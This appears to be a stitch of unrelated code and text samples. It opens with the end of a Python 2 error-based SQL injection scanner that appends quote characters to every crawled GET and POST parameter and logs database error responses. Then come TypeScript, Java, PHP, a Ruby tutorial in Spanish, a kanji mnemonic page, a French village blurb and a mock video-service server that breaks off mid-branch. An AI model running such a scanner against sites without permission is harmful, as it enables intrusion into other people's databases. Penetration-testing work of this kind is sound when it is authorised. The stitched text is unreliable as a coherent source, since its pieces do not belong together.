                except (KeyboardInterrupt, SystemExit):

                    cur.close()
                    end_time = timeit.default_timer()

                    print "*" * 120
                    print "you send requests %s times" % (req_cnt - f_req_cnt)
                    print '\nsql injection attack\'s stage 2 is suddenly done: ', end_time - start_time
                    print "*" * 120

                    sys.exit(0)

                except Exception as e:
                    pass

                else:
                    pass

            else:

                try:

                    res = requests.get(action, timeout = 1, \
                                       headers = {"User-Agent" : random.choice(user_agents),\
                                                  "Cookie" : cookie},\
                                       verify = False,\
                                       params = payloads)

                    save_data(method, case, str(res.url), None, res)

                except (KeyboardInterrupt, SystemExit):

                    cur.close()
                    end_time = timeit.default_timer()

                    print "*" * 120
                    print "you send requests %s times" % (req_cnt - f_req_cnt)
                    print '\nsql injection attack\'s stage 2 is suddenly done: ', end_time - start_time
                    print "*" * 120

                    sys.exit(0)

                except Exception as e:
                    pass

                else:
                    pass

        except Exception as e:
            print action
            print e

    elif method == "POST" and case == "case20":

        try:
            if cookie is None:

                try:
                    res = requests.post(action, timeout = 1, \
                                       headers = {"User-Agent" : random.choice(user_agents)},\
                                       data = payloads,\
                                       verify = False)

                    save_data(method, case, str(res.url), payloads, res)

                except (KeyboardInterrupt, SystemExit):

                    cur.close()
                    end_time = timeit.default_timer()

                    print "*" * 120
                    print "you send requests %s times" % (req_cnt - f_req_cnt)
                    print '\nsql injection attack\'s stage 2 is suddenly done: ', end_time - start_time
                    print "*" * 120

                    sys.exit(0)

                except Exception as e:
                    pass

                else:
                    pass

            else:

                try:
                    res = requests.post(action, timeout = 1, \
                                       headers = {"User-Agent" : random.choice(user_agents),\
                                                  "Cookie" : cookie},\
                                       verify = False,\
                                       data = payloads)

                    save_data(method, case, str(res.url), payloads, res)

                except (KeyboardInterrupt, SystemExit):

                    cur.close()
                    end_time = timeit.default_timer()

                    print "*" * 120
                    print "you send requests %s times" % (req_cnt - f_req_cnt)
                    print '\nsql injection attack\'s stage 2 is suddenly done: ', end_time - start_time
                    print "*" * 120

                    sys.exit(0)

                except Exception as e:
                    pass

                else:
                    pass

        except Exception as e:
            print action
            print e

def sql_injection_attack(payloads, method, action, case, attack_commands):
    global req_cnt

    tmp_value = ""

    for name in payloads.keys():

        tmp_value = payloads[name]

        for attack_command in attack_commands:

            payloads[name] += attack_command

            web_request(payloads, method, action, case)

            req_cnt += 1

            payloads[name] = tmp_value

            print "%s requesting" %(req_cnt)

def main():

    usage        = '''./sql_injection_error_based.py -t google'''

    parser = argparse.ArgumentParser(description = "sql injection injection for pen testing", \
                                     usage = usage)
    parser.add_argument("-t", "--table", required=True, help="sqlite table name to attack")
    parser.add_argument("-c", "--cookie", required=False, help="filename containing cookie")
    parser.add_argument("-v", "--version", action='version', version = 'JongWon Kim (dikien2012@gmail.com)\n%(prog)s - v.1.0 (04/24/2014)')

    args = parser.parse_args()

    filename = "sql_error_strings"

    global error_strings
    error_strings = open(filename).read()
    error_strings = error_strings.split("\n")

    global table_name
    table_name = args.table

    global cookie
    cookie_filename = args.cookie

    try:
        f = open(cookie_filename).read()
        cookie = str(f).strip()

    except:
        cookie = None

    try:
        os.remove("sqli_error_based.csv")
    except:
        pass

    global req_cnt
    req_cnt = 0

    global start_time
    start_time = timeit.default_timer()

    global conn
    conn = sqlite3.connect("crawler.db")
    conn.text_factory = str

    global cur
    cur = conn.cursor()

    #error occurs
    attack_commands = ["'", "`", "\""]

    links_to_visit_params = []

#step1
    cur.execute("select url from " + table_name + " where res_code = '200'")

    for row in cur:

        url = row[0]
        # there are payloads in url
        if urlparse(url)[4]:
            payloads = parse_qs(urlparse(url).query)

            # method
            # from {u'action': [u'M01']} to {u'action': u'M01'}
            for name in payloads.keys():
                payloads[name] = payloads[name][0]

            url_with_params = str(urlparse(url)[2]) + str(sorted(payloads.keys()))

            # to reduce duplicate urls
            if url_with_params not in links_to_visit_params:

                # case1: there are parameters in url, not action
                sql_injection_attack(payloads, "GET", url, "case1", attack_commands)
                links_to_visit_params.append(url_with_params)

    end_time = timeit.default_timer()

    global f_req_cnt
    f_req_cnt = req_cnt

    print "*" * 120
    print "you send requests %s times" % f_req_cnt
    print '\nsql injection attack\'s stage 1 is done: ', end_time - start_time
    print "*" * 120

#setp2
    cur.execute("select url from " + table_name + " where res_code = '2000'")

    # form test
    for row in cur:

        url = row[0]

        results = make_parameters(url)

#         if there is no form, it return False
        if results:
            for result in results:

                # none attr is submit
                payloads = result[0]
                method = result[1]
                action = result[2]

                if method == "GET":

                    url_with_params = str(urlparse(action)[2]) + str(sorted(payloads.keys()))

                    # to reduce duplicate urls
                    if url_with_params not in links_to_visit_params:

                        sql_injection_attack(payloads, method, action, "case2", attack_commands)

                        links_to_visit_params.append(url_with_params)

                elif method == "POST":

                    url_with_params = str(urlparse(action)[2]) + str(sorted(payloads.keys()))

                    # to reduce duplicate urls
                    if url_with_params not in links_to_visit_params:

                        sql_injection_attack(payloads, method, action, "case2", attack_commands)

                        links_to_visit_params.append(url_with_params)

    cur.close()
    end_time = timeit.default_timer()
    print "*" * 120
    print "you send requests %s times" % (req_cnt - f_req_cnt)
    print '\nsql injection attack\'s stage 2 is done: ', end_time - start_time
    print "*" * 120

if __name__ == "__main__":
    main()


text:
//// [parserErrorRecovery_ExtendsOrImplementsClause4.ts]
class C extends A implements {
}

//// [parserErrorRecovery_ExtendsOrImplementsClause4.js]
var __extends = (this && this.__extends) || (function () {
    var extendStatics = function (d, b) {
        extendStatics = Object.setPrototypeOf ||
            ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||
            function (d, b) { for (var p in b) if (b.hasOwnProperty(p)) d[p] = b[p]; };
        return extendStatics(d, b);
    };
    return function (d, b) {
        extendStatics(d, b);
        function __() { this.constructor = d; }
        d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());
    };
})();
var C = /** @class */ (function (_super) {
    __extends(C, _super);
    function C() {
        return _super !== null && _super.apply(this, arguments) || this;
    }
    return C;
}(A));


text:
package org.apache.ignite.internal.processors.cache.distributed.near;

import java.nio.ByteBuffer;
import java.util.UUID;
import org.apache.ignite.IgniteCheckedException;
import org.apache.ignite.internal.GridDirectTransient;
import org.apache.ignite.internal.processors.affinity.AffinityTopologyVersion;
import org.apache.ignite.internal.processors.cache.GridCacheIdMessage;
import org.apache.ignite.internal.processors.cache.GridCacheSharedContext;
import org.apache.ignite.internal.processors.cache.mvcc.MvccSnapshot;
import org.apache.ignite.internal.processors.cache.version.GridCacheVersion;
import org.apache.ignite.internal.util.typedef.internal.S;
import org.apache.ignite.internal.util.typedef.internal.U;
import org.apache.ignite.lang.IgniteUuid;
import org.apache.ignite.plugin.extensions.communication.MessageReader;
import org.apache.ignite.plugin.extensions.communication.MessageWriter;

/**
 *
 */
public class GridNearTxQueryEnlistRequest extends GridCacheIdMessage {
    /** */
    private static final long serialVersionUID = 0L;

    /** */
    private long threadId;

    /** */
    private IgniteUuid futId;

    /** */
    private boolean clientFirst;

    /** */
    private int miniId;

    /** */
    private UUID subjId;

    /** */
    private AffinityTopologyVersion topVer;

    /** */
    private GridCacheVersion lockVer;

    /** */
    private MvccSnapshot mvccSnapshot;

    /** */
    private int[] cacheIds;

    /** */
    private int[] parts;

    /** */
    private String schema;

    /** */
    private String qry;

    /** */
    @GridDirectTransient
    private Object[] params;

    /** */
    private byte[] paramsBytes;

    /** */
    private int flags;

    /** */
    private long timeout;

    /** */
    private long txTimeout;

    /** */
    private int taskNameHash;

    /** */
    private int pageSize;

    /** */
    public GridNearTxQueryEnlistRequest() {
        // No-op.
    }

    /**
     * @param cacheId Cache id.
     * @param threadId Thread id.
     * @param futId Future id.
     * @param miniId Mini fture id.
     * @param subjId Subject id.
     * @param topVer Topology version.
     * @param lockVer Lock version.
     * @param mvccSnapshot MVCC snspshot.
     * @param cacheIds Involved cache ids.
     * @param parts Partitions.
     * @param schema Schema name.
     * @param qry Query string.
     * @param params Query parameters.
     * @param flags Flags.
     * @param pageSize Fetch page size.
     * @param timeout Timeout milliseconds.
     * @param txTimeout Tx timeout milliseconds.
     * @param taskNameHash Task name hash.
     * @param clientFirst {@code True} if this is the first client request.
     */
    public GridNearTxQueryEnlistRequest(
        int cacheId,
        long threadId,
        IgniteUuid futId,
        int miniId,
        UUID subjId,
        AffinityTopologyVersion topVer,
        GridCacheVersion lockVer,
        MvccSnapshot mvccSnapshot,
        int[] cacheIds,
        int[] parts,
        String schema,
        String qry,
        Object[] params,
        int flags,
        int pageSize,
        long timeout,
        long txTimeout,
        int taskNameHash,
        boolean clientFirst) {
        this.cacheIds = cacheIds;
        this.parts = parts;
        this.schema = schema;
        this.qry = qry;
        this.params = params;
        this.flags = flags;
        this.pageSize = pageSize;
        this.txTimeout = txTimeout;
        this.cacheId = cacheId;
        this.threadId = threadId;
        this.futId = futId;
        this.miniId = miniId;
        this.subjId = subjId;
        this.topVer = topVer;
        this.lockVer = lockVer;
        this.mvccSnapshot = mvccSnapshot;
        this.timeout = timeout;
        this.taskNameHash = taskNameHash;
        this.clientFirst = clientFirst;
    }

    /**
     * @return Thread id.
     */
    public long threadId() {
        return threadId;
    }

    /**
     * @return Future id.
     */
    public IgniteUuid futureId() {
        return futId;
    }

    /**
     * @return Mini future ID.
     */
    public int miniId() {
        return miniId;
    }

    /**
     * @return Subject id.
     */
    public UUID subjectId() {
        return subjId;
    }

    /**
     * @return Topology version.
     */
    @Override public AffinityTopologyVersion topologyVersion() {
        return topVer;
    }

    /**
     * @return Lock version.
     */
    public GridCacheVersion version() {
        return lockVer;
    }

    /**
     * @return MVCC snapshot.
     */
    public MvccSnapshot mvccSnapshot() {
        return mvccSnapshot;
    }

    /**
     * @return Involved cache ids.
     */
    public int[] cacheIds() {
        return cacheIds;
    }

    /**
     * @return Partitions.
     */
    public int[] partitions() {
        return parts;
    }

    /**
     * @return Schema name.
     */
    public String schemaName() {
        return schema;
    }

    /**
     * @return Query string.
     */
    public String query() {
        return qry;
    }

    /**
     * @return Query parameters.
     */
    public Object[] parameters() {
        return params;
    }

    /**
     * @return Flags.
     */
    public int flags() {
        return flags;
    }

    /**
     * @return Fetch page size.
     */
    public int pageSize() {
        return pageSize;
    }

    /**
     * @return Timeout milliseconds.
     */
    public long timeout() {
        return timeout;
    }

    /**
     * @return Tx timeout milliseconds.
     */
    public long txTimeout() {
        return txTimeout;
    }

    /**
     * @return Task name hash.
     */
    public int taskNameHash() {
        return taskNameHash;
    }

    /**
     * @return {@code True} if this is the first client request.
     */
    public boolean firstClientRequest() {
        return clientFirst;
    }

    /** {@inheritDoc} */
    @Override public boolean addDeploymentInfo() {
        return false;
    }

    /** {@inheritDoc} */
    @Override public byte fieldsCount() {
        return 21;
    }

    /** {@inheritDoc} */
    @Override public void prepareMarshal(GridCacheSharedContext ctx) throws IgniteCheckedException {
        super.prepareMarshal(ctx);

        if (params != null && paramsBytes == null)
            paramsBytes = U.marshal(ctx, params);
    }

    /** {@inheritDoc} */
    @Override public void finishUnmarshal(GridCacheSharedContext ctx, ClassLoader ldr) throws IgniteCheckedException {
        super.finishUnmarshal(ctx, ldr);

        if (paramsBytes != null && params == null)
            params = U.unmarshal(ctx, paramsBytes, ldr);
    }

    /** {@inheritDoc} */
    @Override public boolean writeTo(ByteBuffer buf, MessageWriter writer) {
        writer.setBuffer(buf);

        if (!super.writeTo(buf, writer))
            return false;

        if (!writer.isHeaderWritten()) {
            if (!writer.writeHeader(directType(), fieldsCount()))
                return false;

            writer.onHeaderWritten();
        }

        switch (writer.state()) {
            case 3:
                if (!writer.writeIntArray("cacheIds", cacheIds))
                    return false;

                writer.incrementState();

            case 4:
                if (!writer.writeBoolean("clientFirst", clientFirst))
                    return false;

                writer.incrementState();

            case 5:
                if (!writer.writeInt("flags", flags))
                    return false;

                writer.incrementState();

            case 6:
                if (!writer.writeIgniteUuid("futId", futId))
                    return false;

                writer.incrementState();

            case 7:
                if (!writer.writeMessage("lockVer", lockVer))
                    return false;

                writer.incrementState();

            case 8:
                if (!writer.writeInt("miniId", miniId))
                    return false;

                writer.incrementState();

            case 9:
                if (!writer.writeMessage("mvccSnapshot", mvccSnapshot))
                    return false;

                writer.incrementState();

            case 10:
                if (!writer.writeInt("pageSize", pageSize))
                    return false;

                writer.incrementState();

            case 11:
                if (!writer.writeByteArray("paramsBytes", paramsBytes))
                    return false;

                writer.incrementState();

            case 12:
                if (!writer.writeIntArray("parts", parts))
                    return false;

                writer.incrementState();

            case 13:
                if (!writer.writeString("qry", qry))
                    return false;

                writer.incrementState();

            case 14:
                if (!writer.writeString("schema", schema))
                    return false;

                writer.incrementState();

            case 15:
                if (!writer.writeUuid("subjId", subjId))
                    return false;

                writer.incrementState();

            case 16:
                if (!writer.writeInt("taskNameHash", taskNameHash))
                    return false;

                writer.incrementState();

            case 17:
                if (!writer.writeLong("threadId", threadId))
                    return false;

                writer.incrementState();

            case 18:
                if (!writer.writeLong("timeout", timeout))
                    return false;

                writer.incrementState();

            case 19:
                if (!writer.writeMessage("topVer", topVer))
                    return false;

                writer.incrementState();

            case 20:
                if (!writer.writeLong("txTimeout", txTimeout))
                    return false;

                writer.incrementState();

        }

        return true;
    }

    /** {@inheritDoc} */
    @Override public boolean readFrom(ByteBuffer buf, MessageReader reader) {
        reader.setBuffer(buf);

        if (!reader.beforeMessageRead())
            return false;

        if (!super.readFrom(buf, reader))
            return false;

        switch (reader.state()) {
            case 3:
                cacheIds = reader.readIntArray("cacheIds");

                if (!reader.isLastRead())
                    return false;

                reader.incrementState();

            case 4:
                clientFirst = reader.readBoolean("clientFirst");

                if (!reader.isLastRead())
                    return false;

                reader.incrementState();

            case 5:
                flags = reader.readInt("flags");

                if (!reader.isLastRead())
                    return false;

                reader.incrementState();

            case 6:
                futId = reader.readIgniteUuid("futId");

                if (!reader.isLastRead())
                    return false;

                reader.incrementState();

            case 7:
                lockVer = reader.readMessage("lockVer");

                if (!reader.isLastRead())
                    return false;

                reader.incrementState();

            case 8:
                miniId = reader.readInt("miniId");

                if (!reader.isLastRead())
                    return false;

                reader.incrementState();

            case 9:
                mvccSnapshot = reader.readMessage("mvccSnapshot");

                if (!reader.isLastRead())
                    return false;

                reader.incrementState();

            case 10:
                pageSize = reader.readInt("pageSize");

                if (!reader.isLastRead())
                    return false;

                reader.incrementState();

            case 11:
                paramsBytes = reader.readByteArray("paramsBytes");

                if (!reader.isLastRead())
                    return false;

                reader.incrementState();

            case 12:
                parts = reader.readIntArray("parts");

                if (!reader.isLastRead())
                    return false;

                reader.incrementState();

            case 13:
                qry = reader.readString("qry");

                if (!reader.isLastRead())
                    return false;

                reader.incrementState();

            case 14:
                schema = reader.readString("schema");

                if (!reader.isLastRead())
                    return false;

                reader.incrementState();

            case 15:
                subjId = reader.readUuid("subjId");

                if (!reader.isLastRead())
                    return false;

                reader.incrementState();

            case 16:
                taskNameHash = reader.readInt("taskNameHash");

                if (!reader.isLastRead())
                    return false;

                reader.incrementState();

            case 17:
                threadId = reader.readLong("threadId");

                if (!reader.isLastRead())
                    return false;

                reader.incrementState();

            case 18:
                timeout = reader.readLong("timeout");

                if (!reader.isLastRead())
                    return false;

                reader.incrementState();

            case 19:
                topVer = reader.readMessage("topVer");

                if (!reader.isLastRead())
                    return false;

                reader.incrementState();

            case 20:
                txTimeout = reader.readLong("txTimeout");

                if (!reader.isLastRead())
                    return false;

                reader.incrementState();

        }

        return reader.afterMessageRead(GridNearTxQueryEnlistRequest.class);
    }

    /** {@inheritDoc} */
    @Override public short directType() {
        return 151;
    }

    /** {@inheritDoc} */
    @Override public String toString() {
        return S.toString(GridNearTxQueryEnlistRequest.class, this);
    }
}


text:
import javax.swing.JPopupMenu;
import java.awt.Color;

/**
 * Encapsulates default settings for a text area. This can be passed
 * to the constructor once the necessary fields have been filled out.
 * The advantage of doing this over calling lots of set() methods after
 * creating the text area is that this method is faster.
 */
public class TextAreaDefaults {

    private static TextAreaDefaults DEFAULTS;
    public InputHandler inputHandler;
    public SyntaxDocument document;
    public boolean editable;
    public boolean caretVisible;
    public boolean caretBlinks;
    public boolean blockCaret;
    public int electricScroll;
    public int cols;
    public int rows;
    public SyntaxStyle[] styles;
    public Color caretColor;
    public Color selectionColor;
    public Color lineHighlightColor;
    public boolean lineHighlight;
    public Color bracketHighlightColor;
    public boolean bracketHighlight;
    public Color eolMarkerColor;
    public boolean eolMarkers;
    public boolean paintInvalid;
    public JPopupMenu popup;

    /**
     * Returns a new TextAreaDefaults object with the default values filled
     * in.
     */
    public static TextAreaDefaults getDefaults(){
        //if(DEFAULTS == null){
            DEFAULTS = new TextAreaDefaults();
            DEFAULTS.inputHandler = new DefaultInputHandler();
            DEFAULTS.inputHandler.addDefaultKeyBindings();
            DEFAULTS.document = new SyntaxDocument();
            DEFAULTS.editable = true;
            DEFAULTS.caretVisible = true;
            DEFAULTS.caretBlinks = true;
            DEFAULTS.electricScroll = 3;
            DEFAULTS.cols = 80;
            DEFAULTS.rows = 25;
            DEFAULTS.styles = SyntaxUtilities.getDefaultSyntaxStyles();
            DEFAULTS.caretColor = Color.red;
            DEFAULTS.selectionColor = new Color(0xccccff);
            DEFAULTS.lineHighlightColor = new Color(0xe0e0e0);
            DEFAULTS.lineHighlight = true;
            DEFAULTS.bracketHighlightColor = Color.black;
            DEFAULTS.bracketHighlight = true;
            DEFAULTS.eolMarkerColor = new Color(0x009999);
            DEFAULTS.eolMarkers = false;
            DEFAULTS.paintInvalid = true;
//}
		return DEFAULTS;}}


text:
package eu.ydp.empiria.player.client.controller.extensions.internal.bookmark;

import eu.ydp.gwtutil.client.geom.Rectangle;

public interface IBookmarkPopupView {

    void setPresenter(IBookmarkPopupPresenter presenter);

    void init();

    void show(Rectangle area);

    void setBookmarkTitle(String title);

    String getBookmarkTitle();
}


text:
/**
 */
package CIM.IEC61970.Generation.Production;

import CIM.IEC61970.Core.Curve;

/**
 *
 * A representation of the model object 'Tailbay Loss Curve'.
 *
 *
 *

 * The following features are supported:
 *

 *

 *
{@link CIM.IEC61970.Generation.Production.TailbayLossCurve#getHydroGeneratingUnit Hydro Generating Unit}

 *

 *
 * @see CIM.IEC61970.Generation.Production.ProductionPackage#getTailbayLossCurve()
 * @model annotation="http://iec.ch/TC57/2009/CIM-schema-cim14 Documentation='Relationship between tailbay head loss hight (y-axis) and the total discharge into the power station\'s tailbay volume per time unit (x-axis) . There could be more than one curve depending on the level of the tailbay reservoir or river level'"
 *        annotation="http://langdale.com.au/2005/UML Profile\040documentation='Relationship between tailbay head loss hight (y-axis) and the total discharge into the power station\'s tailbay volume per time unit (x-axis) . There could be more than one curve depending on the level of the tailbay reservoir or river level'"
 *        annotation="http://www.eclipse.org/emf/2002/GenModel Documentation='Relationship between tailbay head loss hight (y-axis) and the total discharge into the power station\'s tailbay volume per time unit (x-axis) . There could be more than one curve depending on the level of the tailbay reservoir or river level' Profile\040documentation='Relationship between tailbay head loss hight (y-axis) and the total discharge into the power station\'s tailbay volume per time unit (x-axis) . There could be more than one curve depending on the level of the tailbay reservoir or river level'"
 * @generated
 */
public interface TailbayLossCurve extends Curve {
	/**
	 * Returns the value of the 'Hydro Generating Unit' reference.
	 * It is bidirectional and its opposite is '{@link CIM.IEC61970.Generation.Production.HydroGeneratingUnit#getTailbayLossCurve Tailbay Loss Curve}'.
	 *
	 *

	 * If the meaning of the 'Hydro Generating Unit' reference isn't clear,
	 * there really should be more of a description here...
	 *

	 *
	 * @return the value of the 'Hydro Generating Unit' reference.
	 * @see #setHydroGeneratingUnit(HydroGeneratingUnit)
	 * @see CIM.IEC61970.Generation.Production.ProductionPackage#getTailbayLossCurve_HydroGeneratingUnit()
	 * @see CIM.IEC61970.Generation.Production.HydroGeneratingUnit#getTailbayLossCurve
	 * @model opposite="TailbayLossCurve"
	 *        annotation="http://iec.ch/TC57/2009/CIM-schema-cim14 Documentation='A hydro generating unit has a tailbay loss curve'"
	 *        annotation="http://www.eclipse.org/emf/2002/GenModel Documentation='A hydro generating unit has a tailbay loss curve'"
	 * @generated
	 */
	HydroGeneratingUnit getHydroGeneratingUnit();

	/**
	 * Sets the value of the '{@link CIM.IEC61970.Generation.Production.TailbayLossCurve#getHydroGeneratingUnit Hydro Generating Unit}' reference.
	 *
	 *
	 * @param value the new value of the 'Hydro Generating Unit' reference.
	 * @see #getHydroGeneratingUnit()
	 * @generated
	 */
	void setHydroGeneratingUnit(HydroGeneratingUnit value);

} // TailbayLossCurve


text:
lang:   ES
title:  Demasiado giro
answer: ^\["More still did (.+)
load:   prev
ok:     Sí, casi lo que queremos
error:
---

Así que el poema entero se ha dado la vuelta, letra a letra. Pero yo solamente quería dar la vuelta a las líneas.
Mover la última línea al principio y la primera al final.

Al revés, pero no __tan__ al revés.

Así es como se haría:

    poema.lines.reverse


text:
/*
 * @author electricessence / https://github.com/electricessence/
 * .NET Reference: http://referencesource.microsoft.com/#mscorlib/system/text/StringBuilder.cs
 * Licensing: MIT https://github.com/electricessence/TypeScript.NET/blob/master/LICENSE.md
 */

///<reference path="../Disposable/IDisposable.ts"/>
import Types = require('../Types');
import LinkedList = require('../Collections/LinkedList');

/*****************************
 * IMPORTANT NOTES ABOUT PERFORMANCE:
 * http://jsperf.com/string-concatenation-looped
 * http://jsperf.com/adding-strings-to-an-array
 * http://jsperf.com/string-concatenation-versus-array-operations-with-join
 *
 * It is clearly inefficient to use a StringBuilder or LinkedList to build a string when you have a small set of string portions.
 * StringBuilder will really show it's benefit likely somewhere above 1000 items.
 *****************************/

class StringBuilder implements IDisposable
	// Adding IDisposable allows for use with System.using();
	// ... and since this may end up being a large array container, might be a good idea to allow for flexible cleanup.
{
	//noinspection JSMismatchedCollectionQueryUpdate
	private _partArray:any[];
	private _latest:string; // AKA persistentString

	constructor(...initial:any[])
	{
		var _ = this;
		_._latest = null;
		_._partArray = [];
		_.appendThese(initial);
	}

	private appendSingle(item:any):void
	{
		if(item!==null && item!==undefined) {
			var _ = this;
			_._latest = null;
			switch(typeof item) {
				case Types.Object:
				case Types.Function:
					item = item.toString();
					break;
			}
			_._partArray.push(item); // Other primitive types can keep their format since a number or boolean is a smaller footprint than a string.
		}

	}

	appendThese(items:any[]):StringBuilder
	{
		var _ = this;
		items.forEach(s=> _.appendSingle(s));
		return _;
	}

	append(...items:any[]):StringBuilder
	{
		this.appendThese(items);
		return this;
	}

	appendLine(...items:any[]):StringBuilder
	{
		this.appendLines(items);
		return this;
	}

	appendLines(items:any[]):StringBuilder
	{
		var _ = this;
		items.forEach(
				i=>
			{
				if(i!==null && i!==undefined) {
					_.appendSingle(i);
					_._partArray.push("\r\n");
				}
			}
		);
		return _;
	}

	/** /// These methods can only efficiently be added if not using a single array.
	 insert(index: number, value: string, count: number = 1): StringBuilder
	 {

	}

	 remove(startIndex:number, length:number): StringBuilder
	 {

	}
	 /**/

	get isEmpty()
	{
		return this._partArray.length===0;
	}

	toString()
	{
		var latest = this._latest;
		if(!latest===null)
			this._latest = latest = this._partArray.join();

		return latest;
	}

	join(delimiter:string):string
	{
		return this._partArray.join(delimiter);
	}

	clear():void
	{
		this._partArray.length = 0;
		this._latest = null;
	}

	dispose():void
	{
		this.clear();
	}

}

export = StringBuilder;


text:
layout: kanji
v4: 48
v6: 49
kanji: 占
keyword: fortune-telling
elements: fortune-telling, magic wand, augury, divining rod, mouth
strokes: 5
image: E58DA0
on-yomi: セン
kun-yomi: し.める、うらな.う
permalink: /rtk/占/
prev: 博
next: 上
---

1) [Christine_Tham] 24-7-2007(147): Fortune-telling: using a mouth as a divining rod.

2) [Hikari] 27-8-2007(95): A great number of people who do fortune-telling are "almost old".

3) [sprutnik] 28-9-2008(37): To do fortune-telling put a magic wand in your mouth.

4) [pandaji] 10-10-2007(17): The mouth of a fortune-teller is a superior (above) mouth.

5) [nihonnicko] 1-5-2008(13): The old fortune teller was missing an arm.


text:
<?php
class Kwc_Form_Dynamic_ExtConfig extends Kwc_Abstract_Composite_ExtConfigTabs
{
    protected function _getConfig()
    {
        $ret = parent::_getConfig();
        $ret['tabs']['tabs']['ownForm'] = $this->_getStandardConfig('kwf.autoform');
        return $ret;
    }
}


text:
  Saint-Loyer-des-Champs est
       un village
       géographiquement positionné dans le département de l'Orne en Basse-Normandie. Elle comptait 370 habitants en 2008.

À coté de Saint-Loyer-des-Champs sont positionnées géographiquement les villes de
Juvigny-sur-Orne localisée à 3 km, 97 habitants,
Marcei située à 4 km, 207 habitants,
Saint-Christophe-le-Jajolet située à 4 km, 235 habitants,
Urou-et-Crennes située à 4 km, 648 habitants,
Fleuré à 5 km, 238 habitants,
Boissei-la-Lande localisée à 3 km, 120 habitants,
 entre autres. De plus, Saint-Loyer-des-Champs est située à seulement cinq km de Argentan.

Le nombre de logements, à Saint-Loyer-des-Champs, était réparti en 2011 en deux appartements et 156 maisons soit
 un marché relativement équilibré.

La commune offre quelques  équipements, elle dispose, entre autres, de un terrain de sport.

Si vous pensez venir habiter à Saint-Loyer-des-Champs, vous pourrez aisément trouver une maison à acheter.


text:
import uuid
import re
import json
from tornado import ioloop
from tornado import web
from tornado.options import define, options

define("debug", default=False, help="run in debug mode", type=bool)
define("port", default=9999, help="run on the given port", type=int)

GET_STATUS_XML = (
    '<?xml version="1.0"?>'
    '<Response><Message>Action successful.</Message>'
    '<MessageCode>4.1</MessageCode><Success><Task><UserID>1234</UserID>'
    '<MediaShortLink>%(tag)s</MediaShortLink>'
    '<SourceFile>http://videos.mozilla.org/bla.f4v</SourceFile>'
    '<BatchID>35402</BatchID>'
    '<Status>%(status)s</Status>'
    '<Private>false</Private>'
    '<PrivateCDN>false</PrivateCDN><Created>2012-08-23 19:30:58</Created>'
    '<Updated>2012-08-23 20:44:22</Updated>'
    '<UserEmail>airmozilla@mozilla.com</UserEmail>'
    '</Task></Success></Response>'
)

SAMPLE_MEDIALIST_XML = (
    '<?xml version="1.0"?>'
    '<Response><Message>OK</Message><MessageCode>7.4</MessageCode><Success>'
    '%(media)s'
    '</Success></Response>'
)

_SAMPLE_MEDIALIST_MEDIA_XML = (
    '<Media><MediaShortLink>%(tag)s</MediaShortLink><VanityLink/>'
    '<Notify>vvm@spb-team.com</Notify><Created>2011-12-25 18:45:56</Created>'
    '<Updated>2012-11-28 14:05:07</Updated><Status>%(status)s</Status>'
    '<IsDeleted>false</IsDeleted><IsPrivate>false</IsPrivate>'
    '<IsPrivateCDN>false</IsPrivateCDN><CDN>AWS</CDN></Media>'
)

_SAMPLE_ADD_MEDIA_XML = (
    '<?xml version="1.0"?>'
    '<Response>'
    '<Message>All medias have been added.</Message>'
    '<MessageCode>2.1</MessageCode>'
    '<BatchID>47520</BatchID>'
    '<Success>'
    '<MediaShortLink>'
    '<SourceFile>http://www.com/file.flv</SourceFile>'
    '<ShortLink>%(shortcode)s</ShortLink>'
    '<MediaID>13969839</MediaID>'
    '<QRCode>http://vid.ly/8oxv6x/qrcodeimg</QRCode>'
    '<HtmlEmbed>code code</HtmlEmbed>'
    '<EmailEmbed>more code code</EmailEmbed>'
    '</MediaShortLink>'
    '</Success>'
    '</Response>'
)

_SAMPLE_ADD_MEDIA_ERROR_XML = (
    '<?xml version="1.0"?>'
    '<Response>'
    '<Message>Error</Message>'
    '<MessageCode>0.0</MessageCode>'
    '<Errors>'
    '<Error>'
    '<ErrorCode>0.0</ErrorCode>'
    '<ErrorName>Error message</ErrorName>'
    '<Description>bla bla</Description>'
    '<Suggestion>ble ble</Suggestion>'
    '</Error>'
    '</Errors>'
    '</Response>'
)

_SAMPLE_DELETE_MEDIA_XML = (
    '<?xml version="1.0"?>'
    '<Response>'
    '<Message>Success</Message>'
    '<MessageCode>0.0</MessageCode>'
    '<Success>'
    '<MediaShortLink>%(shortcode)s</MediaShortLink>'
    '</Success>'
    '<Errors>'
    '<Error>'
    '<SourceFile>http://www.com</SourceFile>'
    '<ErrorCode>1</ErrorCode>'
    '<Description>ErrorDescriptionK</Description>'
    '<Suggestion>ErrorSuggestionK</Suggestion>'
    '</Error>'
    '</Errors>'
    '</Response>'
)

MEDIA_SHORT_LINK_REGEX = re.compile('<MediaShortLink>(\w+)</MediaShortLink>')
STATUS_REGEX = re.compile('<Status>(\w+)</Status>')
SOURCE_FILE_REGEX = re.compile('<SourceFile>(.*?)</SourceFile>')

def random_shortcode():
    return '000' + str(uuid.uuid4())[:6]

class Database(object):

    def __init__(self, filename):
        #print "** LOADING **"
        #print open(filename).read()
        self.filename = filename
        self.data = json.load(open(filename))

    def __setitem__(self, key, value):
        self.data[key] = value
        self._save()

    def __delitem__(self, key):
        del self.data[key]
        self._save()

    def items(self):
        return self.data.items()

    def get(self, key, default=None):
        return self.data.get(key, default)

    def __iter__(self):
        return iter(self.data)

    def __getitem__(self, key):
        return self.data[key]

    def _save(self):
        #print "** SAVING **"
        #print self.data
        #print
        json.dump(self.data, open(self.filename, 'w'), indent=2)

"""
db = Database('foo.json')
db['second'] = 'third'
assert db['second'] == 'third'
db = Database('foo.json')
del db['second']
db = Database('foo.json')
db['third'] = 'Stuck'
print '-'*80
print open('foo.json').read()
print
"""

class MainHandler(web.RequestHandler):
    def get(self):
        self.write("hi!")

    @property
    def DATABASE(self):
        try:
            #return Database(json.load(open('local_database.json')))
            return Database('local_database.json')
        except IOError:
            print "No local_database.json file :("
            return Database()

    def post(self):
        from time import sleep
        sleep(1)# hack to slow things down
        xml_incoming = self.get_argument('xml')
        print "INCOMING ".ljust(79, '=')
        print xml_incoming

        if '<Action>GetStatus</Action>' in xml_incoming:
            tag = MEDIA_SHORT_LINK_REGEX.findall(xml_incoming)[0]
            xml_outgoing = self._get_status(tag)
        elif '<Action>GetMediaList</Action>' in xml_incoming:
            status = STATUS_REGEX.findall(xml_incoming)[0]
            xml_outgoing = self._get_medialist(status)
        elif '<Action>AddMediaLite</Action>' in xml_incoming:
